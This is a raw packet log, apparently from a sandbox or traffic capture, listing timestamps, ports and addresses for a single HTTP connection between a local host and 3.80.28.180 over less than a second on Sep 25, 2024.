Sep 25, 2024 03:51:26.668330908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668334961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.668404102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668436050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668440104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.668467999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668502092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668512106 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.668593884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.668881893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668932915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668963909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.668975115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.669061899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.669074059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.669106007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.669138908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.669172049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.669219971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.669223070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.669332981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.709820986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.709877014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.709908962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.709913015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.709986925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757102013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757136106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757200956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757205009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757241011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757275105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757308006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757333040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757356882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757386923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757391930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757424116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757443905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757458925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757494926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757512093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757545948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757579088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757599115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757678032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757709980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757756948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757757902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757823944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.757849932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757932901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.757966042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758006096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758029938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758040905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758061886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758095026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758096933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758212090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758249044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758300066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758332968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758402109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758445978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758477926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758512020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758512974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758570910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758606911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758637905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758671999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758704901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758730888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758737087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758764982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.758771896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758806944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.758907080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759110928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759143114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759161949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759176970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759226084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759258986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759291887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759303093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759303093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759325981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759406090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759416103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759447098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759495974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759529114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759562016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759577990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759577990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759593964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759625912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759674072 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.759726048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.759803057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760006905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760057926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760092020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760118008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760175943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760209084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760240078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760272980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760284901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760284901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760351896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760382891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760432005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760442972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760466099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760484934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760499954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760530949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760555029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760562897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760596037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.760616064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.760948896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.761001110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.761024952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.761034966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.761154890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.761187077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.761219025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.761229038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.761229038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.761254072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.761554956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.800956011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.801026106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.801059961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.801080942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.801095009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.801131964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.801156044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.801162004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.801206112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848027945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848062038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848118067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848146915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848174095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848201036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848231077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848251104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848282099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848313093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848331928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848371029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848418951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848419905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848452091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848473072 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848500013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848531961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848563910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848578930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848617077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848634958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848681927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848728895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848731995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848763943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848817110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848849058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848870993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848881960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848923922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848931074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848964930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.848997116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.848998070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849047899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849066973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849080086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849113941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849145889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849184990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849195957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849229097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849230051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849262953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849296093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849297047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849329948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849381924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849430084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849430084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849430084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849462986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849498987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849533081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849539042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849570036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849602938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849611044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849642038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849656105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849673033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849766016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849767923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849801064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849834919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849914074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849945068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.849947929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.849977970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.850030899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.850030899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.850137949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.850169897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.850202084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.850234032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.850263119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.850265026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.850315094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.854558945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854587078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854636908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854660034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.854669094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854702950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854712009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.854736090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854777098 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.854789019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854820013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854852915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.854852915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854887009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854923010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.854926109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.854970932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855005026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855024099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855036020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855068922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855071068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855104923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855151892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855175972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855209112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855254889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855257988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855288982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855318069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855339050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855370998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855411053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855441093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855473042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855504990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855525017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855537891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855571985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855573893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855603933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855693102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855710030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855741978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855776072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855829000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855863094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855894089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855928898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.855958939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.855963945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856008053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856014013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856041908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856107950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856132984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856163979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856197119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856197119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856230974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856256008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856309891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856357098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856385946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856395006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856426954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856458902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856465101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856492043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856524944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856532097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856556892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856606960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856640100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856654882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856654882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.856674910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.856743097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.891855001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.891921043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.891971111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.892004013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.892029047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.892076015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.892102957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.892117023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.892148018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.892184019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.892200947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.892326117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.939313889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939400911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939451933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939485073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939519882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939551115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939583063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939615011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939620972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.939665079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939697981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939747095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939779997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939790010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.939790010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.939814091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939846039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939894915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.939912081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.939927101 CEST	80	49730	3.80.28.180	192.168.2.4
